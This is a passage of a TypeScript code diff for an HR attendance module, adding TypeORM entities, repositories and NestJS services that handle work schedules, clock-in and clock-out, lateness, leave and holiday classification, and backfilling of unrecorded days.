} from "typeorm";
|
||||
|
||||
import { WorkSchedule } from "./work-schedule.entity";
|
||||
|
||||
/**
|
||||
* Who is on which shift, and since when.
|
||||
*
|
||||
* Dated rather than a plain column on the profile, because attendance already
|
||||
* recorded must keep being judged against the schedule that applied on the day.
|
||||
* Moving someone to a later shift should not retroactively make last month's
|
||||
* punctual arrivals late.
|
||||
*/
|
||||
@Entity({ schema: "hr", name: "work_schedule_assignments" })
|
||||
@Index("idx_schedule_assignments_employee", ["employeeId", "effectiveFrom"])
|
||||
export class WorkScheduleAssignment extends SoftDeleteAudit {
|
||||
@PrimaryGeneratedColumn("uuid")
|
||||
id!: string;
|
||||
|
||||
@Column({ type: "uuid", name: "organization_id" })
|
||||
organizationId!: string;
|
||||
|
||||
@Column({ type: "uuid", name: "employee_id" })
|
||||
employeeId!: string;
|
||||
|
||||
@Column({ type: "uuid", name: "work_schedule_id" })
|
||||
workScheduleId!: string;
|
||||
|
||||
@ManyToOne(() => WorkSchedule)
|
||||
@JoinColumn({ name: "work_schedule_id" })
|
||||
workSchedule?: WorkSchedule;
|
||||
|
||||
@Column({ type: "date", name: "effective_from" })
|
||||
effectiveFrom!: string;
|
||||
|
||||
/** Null = current. Only one open assignment per employee. */
|
||||
@Column({ type: "date", name: "effective_to", nullable: true })
|
||||
effectiveTo?: string | null;
|
||||
|
||||
@Column({ type: "uuid", name: "created_by", nullable: true })
|
||||
createdBy?: string | null;
|
||||
|
||||
@Column({ type: "uuid", name: "updated_by", nullable: true })
|
||||
updatedBy?: string | null;
|
||||
}
|
||||
@@ -0,0 +1,72 @@
|
||||
import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity";
|
||||
import { Column, Entity, Index, PrimaryGeneratedColumn } from "typeorm";
|
||||
|
||||
/**
|
||||
* A shift pattern.
|
||||
*
|
||||
* Proclamation 1156/2019 Art. 61 caps normal hours at eight a day and 48 a week;
|
||||
* the defaults here (08:30–17:30 with an hour's break) are one common way to sit
|
||||
* inside that, not the only one. Every threshold is a column because employers
|
||||
* differ and none of this is the developer's decision.
|
||||
*/
|
||||
@Entity({ schema: "hr", name: "work_schedules" })
|
||||
@Index("idx_work_schedules_organization_id", ["organizationId"])
|
||||
export class WorkSchedule extends SoftDeleteAudit {
|
||||
@PrimaryGeneratedColumn("uuid")
|
||||
id!: string;
|
||||
|
||||
@Column({ type: "uuid", name: "organization_id" })
|
||||
organizationId!: string;
|
||||
|
||||
@Column({ type: "varchar", length: 32, name: "code" })
|
||||
code!: string;
|
||||
|
||||
@Column({ type: "jsonb", name: "name" })
|
||||
name!: { am: string; en: string };
|
||||
|
||||
/** Wall-clock, no date and no zone — `HH:MM:SS`. */
|
||||
@Column({ type: "time", name: "start_time", default: "08:30" })
|
||||
startTime!: string;
|
||||
|
||||
@Column({ type: "time", name: "end_time", default: "17:30" })
|
||||
endTime!: string;
|
||||
|
||||
@Column({ type: "smallint", name: "break_minutes", default: 60 })
|
||||
breakMinutes!: number;
|
||||
|
||||
/** How late someone can arrive before it counts as late. */
|
||||
@Column({ type: "smallint", name: "grace_period_minutes", default: 10 })
|
||||
gracePeriodMinutes!: number;
|
||||
|
||||
/**
|
||||
* Days this shift is worked, `0` = Sunday. `null` falls back to the
|
||||
* organization's `leave_settings.weekend_days`, so the two cannot drift for
|
||||
* the ordinary case where a shift simply follows the company week.
|
||||
*/
|
||||
@Column({ type: "smallint", array: true, name: "working_days", nullable: true })
|
||||
workingDays?: number[] | null;
|
||||
|
||||
/** Minutes actually worked before the day counts as full. Default 7 hours. */
|
||||
@Column({ type: "smallint", name: "min_minutes_full_day", default: 420 })
|
||||
minMinutesFullDay!: number;
|
||||
|
||||
@Column({ type: "smallint", name: "min_minutes_half_day", default: 210 })
|
||||
minMinutesHalfDay!: number;
|
||||
|
||||
/** A night shift ending the following morning. Changes duration arithmetic. */
|
||||
@Column({ type: "boolean", name: "crosses_midnight", default: false })
|
||||
crossesMidnight!: boolean;
|
||||
|
||||
/** Applies to anyone with no explicit assignment. One per organization. */
|
||||
@Column({ type: "boolean", name: "is_default", default: false })
|
||||
isDefault!: boolean;
|
||||
|
||||
@Column({ type: "boolean", name: "is_active", default: true })
|
||||
isActive!: boolean;
|
||||
|
||||
@Column({ type: "uuid", name: "created_by", nullable: true })
|
||||
createdBy?: string | null;
|
||||
|
||||
@Column({ type: "uuid", name: "updated_by", nullable: true })
|
||||
updatedBy?: string | null;
|
||||
}
|
||||
@@ -0,0 +1,112 @@
|
||||
import { Injectable } from "@nestjs/common";
|
||||
import { InjectRepository } from "@nestjs/typeorm";
|
||||
import { BaseRepository } from "@edr/api-common";
|
||||
import { Repository } from "typeorm";
|
||||
|
||||
import {
|
||||
AttendanceRecord,
|
||||
EAttendanceStatus,
|
||||
} from "../entities/attendance-record.entity";
|
||||
|
||||
@Injectable()
|
||||
export class AttendanceRepository extends BaseRepository<AttendanceRecord> {
|
||||
constructor(
|
||||
@InjectRepository(AttendanceRecord) repository: Repository<AttendanceRecord>,
|
||||
) {
|
||||
super(repository);
|
||||
}
|
||||
|
||||
findForDate(
|
||||
employeeId: string,
|
||||
workDate: string,
|
||||
): Promise<AttendanceRecord | null> {
|
||||
return this.repository.findOne({
|
||||
where: { employeeId, workDate },
|
||||
relations: { workSchedule: true },
|
||||
});
|
||||
}
|
||||
|
||||
findRange(
|
||||
employeeId: string,
|
||||
from: string,
|
||||
to: string,
|
||||
): Promise<AttendanceRecord[]> {
|
||||
return this.repository
|
||||
.createQueryBuilder("record")
|
||||
.leftJoinAndSelect("record.workSchedule", "schedule")
|
||||
.where("record.employee_id = :employeeId", { employeeId })
|
||||
.andWhere("record.work_date BETWEEN :from AND :to", { from, to })
|
||||
.orderBy("record.workDate", "DESC")
|
||||
.getMany();
|
||||
}
|
||||
|
||||
async findPage(filters: {
|
||||
organizationId?: string | null;
|
||||
employeeId?: string;
|
||||
status?: EAttendanceStatus;
|
||||
from?: string;
|
||||
to?: string;
|
||||
page?: number;
|
||||
limit?: number;
|
||||
}): Promise<[AttendanceRecord[], number]> {
|
||||
const page = filters.page ?? 1;
|
||||
const limit = filters.limit ?? 25;
|
||||
|
||||
const qb = this.repository
|
||||
.createQueryBuilder("record")
|
||||
.leftJoinAndSelect("record.workSchedule", "schedule");
|
||||
|
||||
if (filters.organizationId) {
|
||||
qb.andWhere("record.organization_id = :organizationId", {
|
||||
organizationId: filters.organizationId,
|
||||
});
|
||||
}
|
||||
if (filters.employeeId) {
|
||||
qb.andWhere("record.employee_id = :employeeId", {
|
||||
employeeId: filters.employeeId,
|
||||
});
|
||||
}
|
||||
if (filters.status) {
|
||||
qb.andWhere("record.status = :status", { status: filters.status });
|
||||
}
|
||||
if (filters.from) {
|
||||
qb.andWhere("record.work_date >= :from", { from: filters.from });
|
||||
}
|
||||
if (filters.to) {
|
||||
qb.andWhere("record.work_date <= :to", { to: filters.to });
|
||||
}
|
||||
|
||||
// Property names, not columns — orderBy resolves through entity metadata and
|
||||
// a snake_case name throws once a join is present.
|
||||
return qb
|
||||
.orderBy("record.workDate", "DESC")
|
||||
.skip((page - 1) * limit)
|
||||
.take(limit)
|
||||
.getManyAndCount();
|
||||
}
|
||||
|
||||
/** Counts by status for a range — the summary strip on the attendance page. */
|
||||
async summarize(
|
||||
organizationId: string | null,
|
||||
employeeId: string | undefined,
|
||||
from: string,
|
||||
to: string,
|
||||
): Promise<Record<string, number>> {
|
||||
const qb = this.repository
|
||||
.createQueryBuilder("record")
|
||||
.select("record.status", "status")
|
||||
.addSelect("COUNT(*)", "count")
|
||||
.where("record.work_date BETWEEN :from AND :to", { from, to })
|
||||
.groupBy("record.status");
|
||||
|
||||
if (organizationId) {
|
||||
qb.andWhere("record.organization_id = :organizationId", { organizationId });
|
||||
}
|
||||
if (employeeId) {
|
||||
qb.andWhere("record.employee_id = :employeeId", { employeeId });
|
||||
}
|
||||
|
||||
const rows = await qb.getRawMany<{ status: string; count: string }>();
|
||||
return Object.fromEntries(rows.map((row) => [row.status, Number(row.count)]));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,94 @@
|
||||
import { Injectable } from "@nestjs/common";
|
||||
import { InjectRepository } from "@nestjs/typeorm";
|
||||
import { BaseRepository } from "@edr/api-common";
|
||||
import { IsNull, LessThanOrEqual, Repository } from "typeorm";
|
||||
|
||||
import { WorkSchedule } from "../entities/work-schedule.entity";
|
||||
import { WorkScheduleAssignment } from "../entities/work-schedule-assignment.entity";
|
||||
|
||||
@Injectable()
|
||||
export class WorkSchedulesRepository extends BaseRepository<WorkSchedule> {
|
||||
constructor(@InjectRepository(WorkSchedule) repository: Repository<WorkSchedule>) {
|
||||
super(repository);
|
||||
}
|
||||
|
||||
findByCode(organizationId: string, code: string): Promise<WorkSchedule | null> {
|
||||
return this.repository.findOne({ where: { organizationId, code } });
|
||||
}
|
||||
|
||||
findDefault(organizationId: string): Promise<WorkSchedule | null> {
|
||||
return this.repository.findOne({
|
||||
where: { organizationId, isDefault: true, isActive: true },
|
||||
});
|
||||
}
|
||||
|
||||
findAllFor(organizationId: string | null): Promise<WorkSchedule[]> {
|
||||
return this.repository.find({
|
||||
where: organizationId ? { organizationId } : {},
|
||||
order: { code: "ASC" },
|
||||
});
|
||||
}
|
||||
|
||||
/** Clear the current default before setting a new one — the index allows one. */
|
||||
async clearDefault(organizationId: string): Promise<void> {
|
||||
await this.repository.update({ organizationId, isDefault: true }, {
|
||||
isDefault: false,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
@Injectable()
|
||||
export class WorkScheduleAssignmentsRepository extends BaseRepository<WorkScheduleAssignment> {
|
||||
constructor(
|
||||
@InjectRepository(WorkScheduleAssignment)
|
||||
repository: Repository<WorkScheduleAssignment>,
|
||||
) {
|
||||
super(repository);
|
||||
}
|
||||
|
||||
/**
|
||||
* The assignment in force on a date.
|
||||
*
|
||||
* Ordered newest-first so a re-assignment supersedes an older open one even if
|
||||
* the older was never closed — the unique index prevents that, but a query
|
||||
* that depends on data being clean is a query that breaks when it is not.
|
||||
*/
|
||||
async findOnDate(
|
||||
employeeId: string,
|
||||
date: string,
|
||||
): Promise<WorkScheduleAssignment | null> {
|
||||
return this.repository
|
||||
.createQueryBuilder("assignment")
|
||||
.leftJoinAndSelect("assignment.workSchedule", "schedule")
|
||||
.where("assignment.employee_id = :employeeId", { employeeId })
|
||||
.andWhere("assignment.effective_from <= :date", { date })
|
||||
.andWhere(
|
||||
"(assignment.effective_to IS NULL OR assignment.effective_to >= :date)",
|
||||
{ date },
|
||||
)
|
||||
.orderBy("assignment.effectiveFrom", "DESC")
|
||||
.getOne();
|
||||
}
|
||||
|
||||
findOpenFor(employeeId: string): Promise<WorkScheduleAssignment | null> {
|
||||
return this.repository.findOne({
|
||||
where: { employeeId, effectiveTo: IsNull() },
|
||||
relations: { workSchedule: true },
|
||||
});
|
||||
}
|
||||
|
||||
/** How many employees are currently on a schedule — the delete guard. */
|
||||
findOpenForSchedule(workScheduleId: string): Promise<number> {
|
||||
return this.repository.count({
|
||||
where: { workScheduleId, effectiveTo: IsNull() },
|
||||
});
|
||||
}
|
||||
|
||||
findHistory(employeeId: string): Promise<WorkScheduleAssignment[]> {
|
||||
return this.repository.find({
|
||||
where: { employeeId, effectiveFrom: LessThanOrEqual("9999-12-31") },
|
||||
relations: { workSchedule: true },
|
||||
order: { effectiveFrom: "DESC" },
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,211 @@
|
||||
import { Injectable } from "@nestjs/common";
|
||||
import { InjectDataSource } from "@nestjs/typeorm";
|
||||
import { DataSource } from "typeorm";
|
||||
|
||||
import {
|
||||
WorkingDaysService,
|
||||
dayOfWeek,
|
||||
} from "../../leave/services/working-days.service";
|
||||
import { LeaveSettingsService } from "../../leave/services/leave-settings.service";
|
||||
import { WorkSchedule } from "../entities/work-schedule.entity";
|
||||
import { EAttendanceStatus } from "../entities/attendance-record.entity";
|
||||
|
||||
/** Why a day is not workable, when it is not. */
|
||||
export interface DayContext {
|
||||
workDate: string;
|
||||
isWorkingDay: boolean;
|
||||
isHoliday: boolean;
|
||||
holidayName: string | null;
|
||||
/** The approved leave covering this date, if any. */
|
||||
leave: { requestId: string; leaveTypeCode: string; isHalfDay: boolean } | null;
|
||||
}
|
||||
|
||||
const MINUTES = 60_000;
|
||||
|
||||
/** `HH:MM[:SS]` on a date, as an instant. Times are wall-clock; dates are dates. */
|
||||
export const atTime = (workDate: string, time: string): Date =>
|
||||
new Date(`${workDate}T${time.length === 5 ? `${time}:00` : time}`);
|
||||
|
||||
@Injectable()
|
||||
export class AttendanceDayService {
|
||||
constructor(
|
||||
@InjectDataSource() private readonly dataSource: DataSource,
|
||||
private readonly settingsService: LeaveSettingsService,
|
||||
) {}
|
||||
|
||||
/**
|
||||
* What kind of day this is for this employee.
|
||||
*
|
||||
* Attendance cannot be judged without it: the same absence is a rest day, an
|
||||
* excused leave day or an unexplained absence depending on facts that live in
|
||||
* three different places. Getting this wrong in the direction of ABSENT is the
|
||||
* expensive one — it turns a legitimate holiday into a disciplinary record.
|
||||
*/
|
||||
async contextFor(
|
||||
employeeId: string,
|
||||
organizationId: string,
|
||||
workDate: string,
|
||||
schedule: WorkSchedule | null,
|
||||
): Promise<DayContext> {
|
||||
const settings = await this.settingsService.resolve(organizationId);
|
||||
// A schedule may name its own working days; otherwise the company week
|
||||
// applies, so the two cannot drift for the ordinary case.
|
||||
const nonWorking = schedule?.workingDays
|
||||
? [0, 1, 2, 3, 4, 5, 6].filter((day) => !schedule.workingDays!.includes(day))
|
||||
: settings.weekendDays;
|
||||
|
||||
const [holiday] = await this.dataSource.query<
|
||||
{ name: { en: string; am: string } }[]
|
||||
>(
|
||||
`SELECT "name" FROM hr.holidays
|
||||
WHERE "deleted_at" IS NULL
|
||||
AND "is_working_day" = false
|
||||
AND "observed_on" = $1::date
|
||||
AND ("organization_id" IS NULL OR "organization_id" = $2::uuid)
|
||||
LIMIT 1`,
|
||||
[workDate, organizationId],
|
||||
);
|
||||
|
||||
// Only APPROVED leave excuses an absence. A submitted request has not been
|
||||
// agreed to, and treating it as cover would let anyone excuse themselves by
|
||||
// filing a request nobody ever looks at.
|
||||
const [leave] = await this.dataSource.query<
|
||||
{ requestId: string; leaveTypeCode: string; isHalfDay: boolean }[]
|
||||
>(
|
||||
`SELECT r."id" AS "requestId", t."code" AS "leaveTypeCode",
|
||||
r."is_half_day" AS "isHalfDay"
|
||||
FROM hr.leave_requests r
|
||||
JOIN hr.leave_types t ON t."id" = r."leave_type_id"
|
||||
WHERE r."deleted_at" IS NULL
|
||||
AND r."employee_id" = $1::uuid
|
||||
AND r."status" = 'APPROVED'
|
||||
AND $2::date BETWEEN r."start_date" AND r."end_date"
|
||||
LIMIT 1`,
|
||||
[employeeId, workDate],
|
||||
);
|
||||
|
||||
return {
|
||||
workDate,
|
||||
isWorkingDay: !nonWorking.includes(dayOfWeek(workDate)),
|
||||
isHoliday: Boolean(holiday),
|
||||
holidayName: holiday?.name?.en ?? null,
|
||||
leave: leave ?? null,
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* The status of a day nobody punched for.
|
||||
*
|
||||
* Order matters and is not arbitrary. Leave wins over a holiday: somebody on a
|
||||
* fortnight's annual leave that contains Meskel has that day charged against
|
||||
* their balance by the leave module, and calling it HOLIDAY here would make
|
||||
* attendance and the leave ledger tell different stories about the same day.
|
||||
*/
|
||||
static statusForUnworkedDay(context: DayContext): {
|
||||
status: EAttendanceStatus;
|
||||
leaveRequestId: string | null;
|
||||
notes: string | null;
|
||||
} {
|
||||
if (context.leave) {
|
||||
return {
|
||||
status: EAttendanceStatus.ON_LEAVE,
|
||||
leaveRequestId: context.leave.requestId,
|
||||
notes: `${context.leave.leaveTypeCode} leave`,
|
||||
};
|
||||
}
|
||||
if (context.isHoliday) {
|
||||
return {
|
||||
status: EAttendanceStatus.HOLIDAY,
|
||||
leaveRequestId: null,
|
||||
notes: context.holidayName,
|
||||
};
|
||||
}
|
||||
if (!context.isWorkingDay) {
|
||||
return {
|
||||
status: EAttendanceStatus.REST_DAY,
|
||||
leaveRequestId: null,
|
||||
notes: null,
|
||||
};
|
||||
}
|
||||
return { status: EAttendanceStatus.ABSENT, leaveRequestId: null, notes: null };
|
||||
}
|
||||
|
||||
/**
|
||||
* Minutes and lateness from a pair of punches.
|
||||
*
|
||||
* The break is deducted only from a day long enough to have taken one —
|
||||
* subtracting an hour's lunch from a two-hour morning would report negative
|
||||
* work, and clamping that to zero would silently erase the two hours.
|
||||
*/
|
||||
static measure(
|
||||
schedule: WorkSchedule | null,
|
||||
workDate: string,
|
||||
checkIn: Date,
|
||||
checkOut: Date | null,
|
||||
): { workedMinutes: number; lateMinutes: number; earlyLeaveMinutes: number } {
|
||||
if (!checkOut) {
|
||||
return { workedMinutes: 0, lateMinutes: 0, earlyLeaveMinutes: 0 };
|
||||
}
|
||||
|
||||
const gross = Math.max(
|
||||
0,
|
||||
Math.round((checkOut.getTime() - checkIn.getTime()) / MINUTES),
|
||||
);
|
||||
|
||||
if (!schedule) {
|
||||
return { workedMinutes: gross, lateMinutes: 0, earlyLeaveMinutes: 0 };
|
||||
}
|
||||
|
||||
const breakMinutes = gross > schedule.breakMinutes ? schedule.breakMinutes : 0;
|
||||
const workedMinutes = gross - breakMinutes;
|
||||
|
||||
const scheduledStart = atTime(workDate, schedule.startTime);
|
||||
const scheduledEnd = schedule.crossesMidnight
|
||||
? new Date(atTime(workDate, schedule.endTime).getTime() + 86_400_000)
|
||||
: atTime(workDate, schedule.endTime);
|
||||
|
||||
const lateBy = Math.round(
|
||||
(checkIn.getTime() - scheduledStart.getTime()) / MINUTES,
|
||||
);
|
||||
// Grace is all-or-nothing: inside it, nothing is recorded. Recording the
|
||||
// minutes anyway would make the grace period cosmetic, and someone would
|
||||
// eventually report on the raw figure.
|
||||
const lateMinutes = lateBy > schedule.gracePeriodMinutes ? lateBy : 0;
|
||||
|
||||
const earlyBy = Math.round(
|
||||
(scheduledEnd.getTime() - checkOut.getTime()) / MINUTES,
|
||||
);
|
||||
const earlyLeaveMinutes = earlyBy > 0 ? earlyBy : 0;
|
||||
|
||||
return { workedMinutes, lateMinutes, earlyLeaveMinutes };
|
||||
}
|
||||
|
||||
/** PRESENT, LATE or HALF_DAY, from what was actually worked. */
|
||||
static statusForWorkedDay(
|
||||
schedule: WorkSchedule | null,
|
||||
measured: { workedMinutes: number; lateMinutes: number },
|
||||
): EAttendanceStatus {
|
||||
if (schedule && measured.workedMinutes < schedule.minMinutesHalfDay) {
|
||||
// Under even the half-day threshold. Not marked ABSENT — they were here,
|
||||
// and a record showing a short day is more useful than one denying it.
|
||||
return EAttendanceStatus.HALF_DAY;
|
||||
}
|
||||
if (schedule && measured.workedMinutes < schedule.minMinutesFullDay) {
|
||||
return EAttendanceStatus.HALF_DAY;
|
||||
}
|
||||
return measured.lateMinutes > 0
|
||||
? EAttendanceStatus.LATE
|
||||
: EAttendanceStatus.PRESENT;
|
||||
}
|
||||
|
||||
/** Every date in a range, inclusive — for the daily backfill. */
|
||||
static datesBetween(start: string, end: string): string[] {
|
||||
const dates: string[] = [];
|
||||
const total = WorkingDaysService.countCalendarDays({ start, end });
|
||||
for (let index = 0; index < total; index += 1) {
|
||||
const cursor = new Date(Date.parse(`${start}T00:00:00Z`) + index * 86_400_000);
|
||||
dates.push(cursor.toISOString().slice(0, 10));
|
||||
}
|
||||
return dates;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,434 @@
|
||||
import {
|
||||
BadRequestException,
|
||||
ConflictException,
|
||||
Injectable,
|
||||
NotFoundException,
|
||||
} from "@nestjs/common";
|
||||
|
||||
import { ActorContext, orgScope } from "../../employees/employees.service";
|
||||
import { EmployeesRepository } from "../../employees/employees.repository";
|
||||
import { IamDirectoryService } from "../../../iam-directory/iam-directory.service";
|
||||
import { Paginated, paginate } from "../../../common/pagination.dto";
|
||||
import { AttendanceRepository } from "../repositories/attendance.repository";
|
||||
import {
|
||||
AttendanceRecord,
|
||||
EAttendanceSource,
|
||||
EAttendanceStatus,
|
||||
} from "../entities/attendance-record.entity";
|
||||
import { AttendanceDayService } from "./attendance-day.service";
|
||||
import { WorkSchedulesService } from "./work-schedules.service";
|
||||
import { RecordAttendanceDto } from "../dto/attendance.dto";
|
||||
import { daysBetween } from "../../leave/services/working-days.service";
|
||||
|
||||
/** Backfilling more than this in one call is a job, not a request. */
|
||||
const MAX_BACKFILL_DAYS = 92;
|
||||
|
||||
@Injectable()
|
||||
export class AttendanceService {
|
||||
constructor(
|
||||
private readonly attendance: AttendanceRepository,
|
||||
private readonly schedules: WorkSchedulesService,
|
||||
private readonly days: AttendanceDayService,
|
||||
private readonly employees: EmployeesRepository,
|
||||
private readonly iamDirectory: IamDirectoryService,
|
||||
) {}
|
||||
|
||||
/**
|
||||
* Clock in.
|
||||
*
|
||||
* Refuses a second check-in for the same day rather than overwriting the
|
||||
* first: the earliest punch is the one that decides lateness, and letting a
|
||||
* later one replace it would quietly erase a late arrival.
|
||||
*/
|
||||
async checkIn(
|
||||
employeeId: string,
|
||||
at: Date,
|
||||
source: EAttendanceSource,
|
||||
actor: ActorContext,
|
||||
notes?: string,
|
||||
): Promise<AttendanceRecord> {
|
||||
const { organizationId, workDate } = await this.resolveContext(
|
||||
employeeId,
|
||||
at,
|
||||
actor,
|
||||
);
|
||||
|
||||
const existing = await this.attendance.findForDate(employeeId, workDate);
|
||||
if (existing?.checkIn) {
|
||||
throw new ConflictException(
|
||||
`Already checked in at ${existing.checkIn.toISOString()}. Use a ` +
|
||||
"regularization to correct it.",
|
||||
);
|
||||
}
|
||||
|
||||
const schedule = await this.schedules.resolveFor(
|
||||
employeeId,
|
||||
organizationId,
|
||||
workDate,
|
||||
);
|
||||
const context = await this.days.contextFor(
|
||||
employeeId,
|
||||
organizationId,
|
||||
workDate,
|
||||
schedule,
|
||||
);
|
||||
|
||||
// Working on a rest day or a holiday is allowed and recorded — it is how
|
||||
// overtime on those days gets evidenced (3.3 slice 2). What is NOT allowed
|
||||
// is punching in on a day already covered by approved leave: one of the two
|
||||
// records is wrong, and silently accepting both leaves payroll to guess.
|
||||
if (context.leave && !context.leave.isHalfDay) {
|
||||
throw new ConflictException(
|
||||
`${workDate} is covered by approved ${context.leave.leaveTypeCode} ` +
|
||||
"leave. Cancel the leave first if they are in fact working.",
|
||||
);
|
||||
}
|
||||
|
||||
const measured = AttendanceDayService.measure(schedule, workDate, at, null);
|
||||
|
||||
if (existing) {
|
||||
return (
|
||||
(await this.attendance.update(existing.id, {
|
||||
checkIn: at,
|
||||
source,
|
||||
notes: notes ?? existing.notes,
|
||||
status: EAttendanceStatus.PRESENT,
|
||||
lateMinutes: 0,
|
||||
updatedBy: actor.userId,
|
||||
})) ?? existing
|
||||
);
|
||||
}
|
||||
|
||||
return this.attendance.create({
|
||||
organizationId,
|
||||
employeeId,
|
||||
workDate,
|
||||
workScheduleId: schedule?.id ?? null,
|
||||
checkIn: at,
|
||||
source,
|
||||
// Not final: lateness needs the schedule's start time, and the status is
|
||||
// recomputed on check-out from what was actually worked.
|
||||
status: EAttendanceStatus.PRESENT,
|
||||
lateMinutes: measured.lateMinutes,
|
||||
notes: notes ?? null,
|
||||
createdBy: actor.userId,
|
||||
} as Partial<AttendanceRecord>);
|
||||
}
|
||||
|
||||
/** Clock out, and settle the day's numbers. */
|
||||
async checkOut(
|
||||
employeeId: string,
|
||||
at: Date,
|
||||
source: EAttendanceSource,
|
||||
actor: ActorContext,
|
||||
notes?: string,
|
||||
): Promise<AttendanceRecord> {
|
||||
const { workDate } = await this.resolveContext(employeeId, at, actor);
|
||||
|
||||
// A night shift clocks out on the following calendar day, so an open record
|
||||
// from yesterday is the one being closed.
|
||||
const record =
|
||||
(await this.attendance.findForDate(employeeId, workDate)) ??
|
||||
(await this.findOpenPreviousDay(employeeId, workDate));
|
||||
|
||||
if (!record?.checkIn) {
|
||||
throw new BadRequestException(
|
||||
"No check-in to close. Record the arrival first, or raise a " +
|
||||
"regularization if it was missed.",
|
||||
);
|
||||
}
|
||||
if (record.checkOut) {
|
||||
throw new ConflictException(
|
||||
`Already checked out at ${record.checkOut.toISOString()}.`,
|
||||
);
|
||||
}
|
||||
if (at < record.checkIn) {
|
||||
throw new BadRequestException("Check-out cannot be before check-in.");
|
||||
}
|
||||
|
||||
const schedule = record.workSchedule ?? null;
|
||||
const measured = AttendanceDayService.measure(
|
||||
schedule,
|
||||
record.workDate,
|
||||
record.checkIn,
|
||||
at,
|
||||
);
|
||||
|
||||
return (
|
||||
(await this.attendance.update(record.id, {
|
||||
checkOut: at,
|
||||
source,
|
||||
notes: notes ?? record.notes,
|
||||
workedMinutes: measured.workedMinutes,
|
||||
lateMinutes: measured.lateMinutes,
|
||||
earlyLeaveMinutes: measured.earlyLeaveMinutes,
|
||||
status: AttendanceDayService.statusForWorkedDay(schedule, measured),
|
||||
updatedBy: actor.userId,
|
||||
})) ?? record
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Record a day by hand — an administrator filling a gap.
|
||||
*
|
||||
* Kept separate from check-in/check-out because it is a different act: those
|
||||
* assert "this is happening now", this asserts "this is what happened". The
|
||||
* source records which, so a report can distinguish observed attendance from
|
||||
* asserted attendance.
|
||||
*/
|
||||
async recordManually(
|
||||
dto: RecordAttendanceDto,
|
||||
actor: ActorContext,
|
||||
): Promise<AttendanceRecord> {
|
||||
const employee = await this.iamDirectory.requireEmployee(dto.employeeId);
|
||||
const organizationId = employee.organizationId;
|
||||
if (!organizationId) {
|
||||
throw new BadRequestException(
|
||||
`Cannot resolve an organization for employee ${dto.employeeId}`,
|
||||
);
|
||||
}
|
||||
this.assertInScope(organizationId, actor);
|
||||
|
||||
const checkIn = dto.checkIn ? new Date(dto.checkIn) : null;
|
||||
const checkOut = dto.checkOut ? new Date(dto.checkOut) : null;
|
||||
if (checkIn && checkOut && checkOut < checkIn) {
|
||||
throw new BadRequestException("checkOut cannot be before checkIn.");
|
||||
}
|
||||
|
||||
const schedule = await this.schedules.resolveFor(
|
||||
dto.employeeId,
|
||||
organizationId,
|
||||
dto.workDate,
|
||||
);
|
||||
const context = await this.days.contextFor(
|
||||
dto.employeeId,
|
||||
organizationId,
|
||||
dto.workDate,
|
||||
schedule,
|
||||
);
|
||||
|
||||
let status: EAttendanceStatus;
|
||||
let leaveRequestId: string | null = null;
|
||||
let measured = { workedMinutes: 0, lateMinutes: 0, earlyLeaveMinutes: 0 };
|
||||
|
||||
if (checkIn) {
|
||||
measured = AttendanceDayService.measure(
|
||||
schedule,
|
||||
dto.workDate,
|
||||
checkIn,
|
||||
checkOut,
|
||||
);
|
||||
status =
|
||||
dto.status ?? AttendanceDayService.statusForWorkedDay(schedule, measured);
|
||||
} else {
|
||||
const derived = AttendanceDayService.statusForUnworkedDay(context);
|
||||
status = dto.status ?? derived.status;
|
||||
leaveRequestId = derived.leaveRequestId;
|
||||
}
|
||||
|
||||
// ON_LEAVE without the leave to back it is refused by a CHECK constraint;
|
||||
// catching it here says why instead of surfacing a constraint name.
|
||||
if (status === EAttendanceStatus.ON_LEAVE && !leaveRequestId) {
|
||||
throw new BadRequestException(
|
||||
`No approved leave covers ${dto.workDate}, so this day cannot be marked ` +
|
||||
"ON_LEAVE. Approve the leave request first.",
|
||||
);
|
||||
}
|
||||
|
||||
const existing = await this.attendance.findForDate(
|
||||
dto.employeeId,
|
||||
dto.workDate,
|
||||
);
|
||||
|
||||
const payload = {
|
||||
organizationId,
|
||||
employeeId: dto.employeeId,
|
||||
workDate: dto.workDate,
|
||||
workScheduleId: schedule?.id ?? null,
|
||||
checkIn,
|
||||
checkOut,
|
||||
status,
|
||||
leaveRequestId,
|
||||
...measured,
|
||||
source: EAttendanceSource.MANUAL,
|
||||
notes: dto.notes ?? null,
|
||||
};
|
||||
|
||||
if (existing) {
|
||||
return (
|
||||
(await this.attendance.update(existing.id, {
|
||||
...payload,
|
||||
updatedBy: actor.userId,
|
||||
})) ?? existing
|
||||
);
|
||||
}
|
||||
return this.attendance.create({
|
||||
...payload,
|
||||
createdBy: actor.userId,
|
||||
} as Partial<AttendanceRecord>);
|
||||
}
|
||||
|
||||
/**
|
||||
* Fill in the days nobody punched for.
|
||||
*
|
||||
* Only creates what is missing — an existing record is never touched, because
|
||||
* this runs repeatedly and must not overwrite a punch or a correction. Days
|
||||
* are classified as rest, holiday, leave or absence.
|
||||
*/
|
||||
async backfill(
|
||||
employeeId: string,
|
||||
from: string,
|
||||
to: string,
|
||||
actor: ActorContext,
|
||||
): Promise<{ created: number; skipped: number; byStatus: Record<string, number> }> {
|
||||
if (daysBetween(from, to) < 0) {
|
||||
throw new BadRequestException("`to` cannot be before `from`.");
|
||||
}
|
||||
if (daysBetween(from, to) > MAX_BACKFILL_DAYS) {
|
||||
throw new BadRequestException(
|
||||
`Backfilling is limited to ${MAX_BACKFILL_DAYS} days at a time.`,
|
||||
);
|
||||
}
|
||||
|
||||
const employee = await this.iamDirectory.requireEmployee(employeeId);
|
||||
const organizationId = employee.organizationId;
|
||||
if (!organizationId) {
|
||||
throw new BadRequestException(
|
||||
`Cannot resolve an organization for employee ${employeeId}`,
|
||||
);
|
||||
}
|
||||
this.assertInScope(organizationId, actor);
|
||||
|
||||
const profile = await this.employees.findByEmployeeId(employeeId);
|
||||
if (!profile) {
|
||||
throw new NotFoundException(
|
||||
`${employeeId} has no HR profile, so there is nothing to attend.`,
|
||||
);
|
||||
}
|
||||
|
||||
const existing = await this.attendance.findRange(employeeId, from, to);
|
||||
const have = new Set(existing.map((record) => record.workDate));
|
||||
|
||||
const byStatus: Record<string, number> = {};
|
||||
let created = 0;
